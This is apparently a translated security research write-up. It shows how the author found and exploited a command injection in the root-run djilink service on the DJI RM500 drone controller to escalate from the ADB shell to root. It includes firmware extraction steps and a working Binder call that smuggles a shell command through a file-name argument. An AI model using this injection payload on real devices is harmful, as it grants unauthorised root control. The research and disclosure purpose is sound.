DJI RM500 智能控制器上的本地权限提升

IoT 9个月前 admin
67 0 0

DJI RM500 智能控制器上的本地权限提升
介绍
本研究是关于 DJI RM500 智能控制器的。这是与 DJI Mini 2、Mavic Air 2、Mavic 2 系列和 Air 2S 配套出售的遥控器。它于 2019 年发布,但现已停产,大疆不再销售或支持。它于 2022 年 10 月收到最新更新,并在Rockchip RK3399上运行 Android 7.1.2 (Linux 4.4.83) 。它可以运行用户提供的应用程序,并具有用于外部外围设备的 USB-A 端口。它还提供对 ADB 的访问,以支持在为设备开发自己的 Android 应用程序时进行调试。
我被要求研究这个设备,看看它是否可以支持 USB 主机端口中的 USB 转以太网适配器,以提高内置 Wi-Fi 的连接可靠性。ifconfig -a插入适配器后使用 ADB shell运行,我们可以看到适配器已被识别,但默认情况下并未启动。由于默认 ADB用户ifconfig eth0 up缺乏权限,不允许尝试使用手动启动它:。为了使适配器正常工作,我们需要能够以.shellifconfig: ioctl 8914: Operation not permittedroot
这篇博文将介绍如何将我们的权限从默认的 ADBshell用户升级到root. 这需要与远程设备建立物理连接,并在我们第一次尝试使用 ADB 连接时接受 Android 端的弹出窗口。我将描述我为查找漏洞所采取的大部分步骤,其中一些步骤并不是绝对必要的,但如果您想对 DJI 设备进行自己的研究,它们可能仍然很有趣。
首先,我将看看可能的攻击面。然后我将在 Ghidra 中分析最有前途的二进制文件djilink,并通过 Binder 对通信进行逆向工程。最后,我将利用命令注入漏洞来获取root权限。
DJI RM500 智能控制器上的本地权限提升
识别攻击面
首先,我们要确定一些可能的攻击服务面。遥控器使用 Android,因此必须在其上运行一些 DJI 特定的东西来控制无人机。我希望 Android 应用程序能够运行 GUI,以及一些本机服务来处理专有的操纵杆/按钮以及连接到无人机的无线电。
我们将从查看用户空间开始,但如果没有发现有趣的东西,我们还可以查看一些 DJI 特定的内核驱动程序来与无线电或操纵杆等外围设备进行通信。由于 Linux 内核的 GPL 许可证,这些应该由制造商提供。不幸的是,DJI 似乎忽略了这一要求,只有一个过时的开源页面,其中有损坏的链接。幸运的是,对于这项研究,我们不需要查看内核。我们将查看开放的端口、正在运行的进程和可用的 Binder 服务。
打开端口 ( netstat)
使用netstat -tulpn我们可以检查任何在 TCP 或 UDP 上公开端口的服务。然而,这并没有表现出任何有趣的东西。该范围内有一些端口4000X,但我们无法看到哪些进程拥有它们,因为我们没有 root 权限。
rm500:/ $ netstat -tulpn(Not all processes could be identified, non-owned process info will not be shown, you would have to be root to see it all.)Active Internet connections (only servers)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program Nametcp 0 0 0.0.0.0:40007 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:40008 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:40009 0.0.0.0:* LISTEN -tcp 0 0 0.0.0.0:40010 0.0.0.0:* LISTEN -tcp 0 0 127.0.0.1:5037 0.0.0.0:* LISTEN 1510/adbudp 0 0 0.0.0.0:50764 0.0.0.0:* -
进程 ( ps)
使用ps我们可以查看系统上所有正在运行的进程。通过查找 DJI 特定进程,我们可以将/system/bin/djilink,识别/system/bin/dji_wms为以 root 身份运行的两个进程。我们将在下一节中仔细研究这些内容。
rm500:/ $ ps | grep -i djiroot 144 2 0 0 0 0000000000 S dji_bat_charge_root 299 1 63296 11656 0 0000000000 S /system/bin/djilinkroot 664 1 9004 1852 0 0000000000 S /system/bin/dji_wmssystem 1127 301 1571732 76156 0 0000000000 S com.dji
绑定器 RPC ( service)
Binder 是 Android 上用于进程间通信 (IPC) 和远程过程调用 (RPC) 的机制。例如,Binder 可用于在应用程序和本机服务之间进行通信。或者在高权限的系统服务和低权限的客户端程序之间。它可以传递简单的消息,也可以传递更复杂的对象,例如共享内存缓冲区。
在开发复杂的 Android 应用程序时,它是一个非常有用的工具。有一个很好的命令行实用程序service,用于使用 ADB shell 从命令行与 Binder 进行交互。使用service list我们可以看到所有使用的 DJI 特定 Binder 服务。这里我们也看到djilink弹出窗口,所以我们首先分析这个服务。
DJI RM500 智能控制器上的本地权限提升
rm500:/ $ service list | grep -i dji0 DJIBaseService: []1 DJIService: []83 protocol: [com.dji.protocol.IProtocolManager]84 report: [com.dji.report.IReportManager]108 djilink: [djilink]
获取文件系统的副本
如果我们只对几个文件感兴趣,例如/system/bin/djilink我们可以用来adb pull从设备上获取这些文件。但如果我们需要扩大搜索范围,拥有系统的完整副本可能会更好。幸运的是,RM500 整个操作系统的更新文件可以从DankDroneDownloader下载。
DJI RM500 智能控制器上的本地权限提升
我们刚刚下载的文件的扩展名 ( V01.01.0072_rm500_dji_system.bin) 是.bin,但file命令行实用程序告诉我们它实际上是POSIX tar archive. 我们可以添加.tar扩展名并提取它。
$ tar -xvf V01.01.0072_rm500_dji_system.bin.tar --one-top-level$ cd V01.01.0072_rm500_dji_system.bin$ ls -Gghtotal 1.7G-rw-r--r-- 1 1.7G Nov 4 2022 rm500_0205_v00.00.11.98_20221031.pro.fw.sig-rw-r--r-- 1 106K Nov 4 2022 rm500_0600_v06.01.02.15_20210312.pro.fw.sig-rw-r--r-- 1 25M Nov 4 2022 rm500_1301_v04.00.00.15_20210616.pro.fw.sig-rw-r--r-- 1 22M Nov 4 2022 rm500_1407_v05.01.00.15_20220301.pro.fw.sig-rw-r--r-- 1 1.8K Nov 4 2022 rm500.cfg.sig
这会产生一些文件,其中仅rm500_0205_v00.00.11.98_20221031.pro.fw.sig大到足以包含根文件系统。如果我们运行binwalk这个文件,它会告诉我们这个文件包含很多Zip archive data从字节 480 开始的内容。
$ binwalk rm500_0205_v00.00.11.98_20221031.pro.fw.sig
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------480 0x1E0 Zip archive data, at least v1.0 to extract, name: system.patch.dat530 0x212 Zip archive data, at least v2.0 to extract, name: META-INF/com/android/metadata732 0x2DC Zip archive data, at least v2.0 to extract, name: META-INF/com/google/android/update-binary649999 0x9EB0F Zip archive data, at least v2.0 to extract, name: META-INF/com/google/android/updater-script650625 0x9ED81 Zip archive data, at least v2.0 to extract, name: boot.img<snip>
我们可以尝试去掉前 480 个字节,但看起来unzip已经可以很好地处理这个问题了。如果我们将文件重命名为,rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip我们就可以提取它:
$ unzip rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zipArchive:  rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zipsigned by SignApkwarning [rm500_0205_v00.00.11.98_20221031.pro.fw.sig.zip]:  480 extra bytes at beginning or within zipfile(attempting to process anyway)extracting: system.patch.datinflating: boot.imginflating: system.new.datinflating: system.transfer.listinflating: trust.imginflating: uboot.img<snip>
根据file,system.new.dat是一个 ext4 映像,但尝试环回安装它,不起作用。事实证明这system.new.dat是一个稀疏文件,并且system.transfer.list包含有关如何重建原始文件的说明。我们可以使用sdat2img构建正确的 ext4 映像。它可以从 GitHub 下载,或者直接从Arch AUR安装。生成的图像被安装,我们可以复制出来/bin/djilink以进一步分析它。
$ sdat2img system.transfer.list system.new.dat system.imgsdat2img binary - version: 1.2
Android Nougat 7.x / Oreo 8.x detected!
Skipping command erase...Copying 1024 blocks into position 0...Copying 683 blocks into position 1024...Copying 143 blocks into position 1708...Copying 198 blocks into position 1852...Copying 639 blocks into position 2050... <snip>Done! Output image: /home/willem/Downloads/V01.01.0072_rm500_dji_system.bin/system.img$ mkdir mnt$ sudo mount -o loop,ro system.img mnt
Ghidra 中的分析
在前面的步骤中,我们将该djilink二进制文件确定为我们分析的一个有趣目标,因为它在根目录运行,公开 Binder 服务,并且可能是该范围内神秘 TCP 端口的来源4000X。通过解压操作系统更新,我们提取了二进制文件,以便在Ghidra中进一步分析它。将文件加载到 Ghidra 中非常简单,我们使用默认选项和分析设置。
DJI RM500 智能控制器上的本地权限提升
在 Ghidra 中加载二进制文件后,我们可以开始寻找一些容易实现的目标。我们还没有要寻找的任何具体内容,因此我们可以检查一些可能导致错误的函数,例如system()、memcpy()等strcpy()。
system()命令注入
我们首先查找该system()函数的所有用途,该函数用于运行外部 shell 命令。这是运行外部程序的简单方法,但是在使用用户提供的数据来构建传递给函数的命令时必须非常小心system()。这类似于需要清理用户输入以防止SQL 注入。
DJI RM500 智能控制器上的本地权限提升
有 42 个地方system()使用了该函数,因此需要一些时间来检查它们并找到潜在的命令注入。有时,看起来在构建命令时使用了用户输入,但事实证明数据实际上并不是攻击者控制的。
在很多地方,该system()函数用于执行简单的文件系统操作,而不是诸如rename()和 之类的正确函数fprintf()。这被认为是不好的做法,因此这似乎有希望找到潜在的漏洞。system()不正确使用将时间戳写入日志文件的示例:
DJI RM500 智能控制器上的本地权限提升
在筛选了更多内容之后,我发现了一个有趣的函数,如下所示。该函数似乎是工厂测试过程的一部分,用于tinycap使用麦克风进行录音并将结果写入传递给函数的文件名中。该文件名用于构建传递给的命令system(),并且不会检查特殊字符。如果我们;在文件名中放入 a,我们可以注入第二个 shell 命令,该命令也会被执行。正确的方法是使用该execve()函数,该函数有一个单独的命令行标志参数,可以修复 shell 注入。
DJI RM500 智能控制器上的本地权限提升
该函数由允许启动和停止捕获的包装函数调用。查看android_log_print函数调用,该函数可能被称为setMicStatus。指向该包装函数的指针位于 的查找表中0x001fe5c8。反过来,该查找表用于调用libbinder.so. 那么也许这个函数应该使用 Binder RPC 来调用?
DJI RM500 智能控制器上的本地权限提升
使用 Binder 调用 setMicStatus 函数
经过对文件系统的进一步挖掘,我发现了libdjilink.so. 这似乎是一个帮助程序库,可以djilink使用 Binder 轻松地从外部程序调用函数。通过查找该字符串setMicStatus,我很快发现了一个名为 的函数BpLinkService::setMicStatus,它看起来很像它在 中调用所需的函数djilink。
DJI RM500 智能控制器上的本地权限提升
它将 4 个整数和 1 个字符串写入一个包中,然后调用服务 0x406(十进制为 1030),该服务与我们之前找到的函数的参数相匹配libdjilink。使用该service命令我们可以快速验证我们的假设是否正确。我们可以用来adb logcat关注日志。当我们运行时,service call djilink 1030我们注意到一堆日志logcat,之后djilink似乎崩溃并重新启动。它包括以下有趣的部分:
08-06 17:25:40.095 1378 1405 E Parcel : Reading a NULL string not supported here.08-06 17:25:40.095 1378 1405 D LinkService: factorytest: setMicStatus 008-06 17:25:40.095 1378 1405 D utils : factorytest: Stop nProcess 0
从日志来看,它似乎试图读取 NULL 字符串。它正在输出我们之前找到的日志字符串。如果我们在 Binder 包中发送正确的参数,也许它会起作用?如果我们匹配来自的代码,libdjilink.so我们需要发送 4Int322秒,然后String16发送文件名。我不确定哪个整数代表哪个参数,所以我将它们全部设置为 1 以确保我们开始录制。我们可以使用以下命令来完成此操作:
service call djilink 1030 i32 1 i32 1 i32 1 i32 1 s16 "/sdcard/test.wav"
这会产生以下logcat输出:
08-06 17:29:52.830 1431 1431 D LinkService: factorytest: setMicStatus 108-06 17:29:52.830 1431 1431 D utils : factorytest: cmd tinycap /sdcard/test.wav -D 0 -d 0 -i 1 -c 1 -r 48000 -b 16 -t 108-06 17:29:53.332 1431 1431 D utils : factorytest: Started record of /sdcard/test.wav nProcess 1469
我们还可以确认一个 1 秒的音频文件出现在root 中/sdcard并且属于 root。有趣的是,该文件似乎完全无声,因此录音实际上不起作用。但是,这意味着我们可以成功调用该setMicStatus函数,在该函数中我们可以自由控制结果文件的文件名。
构建漏洞利用
现在我们可以setMicStatus使用命令行进行调用,我们可以尝试利用潜在的命令注入。提醒一下,用于构建命令的格式字符串是
"tinycap %s -D 0 -d 0 -i %d -c %d -r 48000 -b 16 -t %d"
这里我们自由控制第一个%s,其中总命令需要保持在 128 个字符以下。如果我们将文件名设置为填写所有占位符后的”;whoami > /sdcard/whoami;”总命令。
"tinycap ;whoami > /sdcard/whoami; -D 0 -d 0 -i 1 -c 1 -r 48000 -b 16 -t 1"
我们可以使用 来测试这一点
service call djilink 1030 i32 1 i32 1 i32 2 i32 1 s16 ";whoami > /sdcard/whoami;"
如果我们现在打印内容,/sdcard/whoami我们可以看到我们的漏洞确实有效!我们可以以 root 身份运行命令。
rm500:/ $ cat /sdcard/whoamiroot
结论
在这篇文章中,我描述了通过滥用一些用于远程工厂测试外围设备的代码来寻找权限升级以从 ADB shell 获得 root 权限的过程。这使我们能够以 root 身份运行ifconfig eth0 up并启用以太网适配器,此后工作正常。幸运的是,我们可以使用 Android 设备上已有的命令行工具来利用该漏洞,因此我们不需要摆弄交叉编译器设置来构建有效负载。
该漏洞本身的影响相对较小,因为它需要对设备进行物理访问,并且要求用户在使用 ADB 连接时接受弹出窗口。尽管如此,如果您想扎根 RM500 遥控器以协助对 DJI 无人机进行进一步研究,它对于研究目的可能非常有用。
RM500 不再由 DJI 销售或支持,因此被认为超出了DJI 的 Bug 赏金计划的范围。不幸的是,使用 DJI 的 Bug 赏金计划报告漏洞会阻止研究人员在未经 DJI 批准的情况下发布他们的工作成果,并且他们不会列出安全联系人来报告 Bug 赏金计划之外的问题。考虑到该漏洞影响较小,而且 Android 7 本身可能存在大量漏洞,我决定只发布我的研究成果。


感谢您抽出

DJI RM500 智能控制器上的本地权限提升

.

DJI RM500 智能控制器上的本地权限提升

.

DJI RM500 智能控制器上的本地权限提升

来阅读本文

DJI RM500 智能控制器上的本地权限提升

点它,分享点赞在看都在这里

原文始发于微信公众号(Ots安全):DJI RM500 智能控制器上的本地权限提升

版权声明:admin 发表于 2024年2月29日 上午8:52。
转载请注明:DJI RM500 智能控制器上的本地权限提升 | CTF导航

相关文章